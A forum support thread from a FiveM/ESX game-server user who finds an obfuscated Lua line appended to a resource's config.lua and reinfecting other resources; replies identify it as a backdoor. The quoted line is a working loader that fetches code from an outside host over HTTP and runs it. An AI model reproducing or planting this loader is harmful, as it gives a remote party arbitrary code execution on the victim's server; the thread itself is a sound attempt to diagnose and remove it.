Summary:
I have a big problem… Following some resources not working, I looked in the F8 logs and came across errors in the config.lua for example of my esx_lcgsjob.
When I went to the file in question, at the very end of the config I found this line:
local YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ[4][YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2d\x66\x69\x76\x65\x6d\x2e\x6e\x65\x74\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x61\x4c\x61\x67\x32", function (kMxRrCUriNzdOBKlCqhmhbAFuGRdPyRyTWSIYCbGdDgeYKfIRkyVLLhWVUqPECjdngKqWU, jSJvxBqfWCXvlYDalYHzleyevIWIboLUHkfLRLQvIegbDRJwIxdsgEAfuYhFfIAcEXkqWm) if (jSJvxBqfWCXvlYDalYHzleyevIWIboLUHkfLRLQvIegbDRJwIxdsgEAfuYhFfIAcEXkqWm == YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ[6] or jSJvxBqfWCXvlYDalYHzleyevIWIboLUHkfLRLQvIegbDRJwIxdsgEAfuYhFfIAcEXkqWm == YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ[5]) then return end YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ[4][YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ[2]](YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ[4][YruOtOQyCWxwdxKVCWjegyjzCpkcoKyKeKCxRsnhLJbXZgCTBpOeCpuBNMBrDMheKeNanJ[3]](jSJvxBqfWCXvlYDalYHzleyevIWIboLUHkfLRLQvIegbDRJwIxdsgEAfuYhFfIAcEXkqWm))() end)
I know for a fact that I never typed this line in my config.lua. I have the same problem on other random resources.
Expected behavior:
Actual behavior:
Steps to reproduce:
Even when I delete them and restart the server, those kind of lines end up coming back randomly in other resources.
That’s malicious code, and it’s in your resources. It’s also possible that more than one resource contains that malicious code, and that’s why it’s being added back every time you restart your server.
It’s ok, I found the problem. I actually have a backdoor in one of my resources. I completely deleted it and I’m checking all my files to get everything clean.
where did you find the actual code that was spreading it? and what did you use to find it. I have found the local string in the files with VSCode but how do I find the generator of the local string?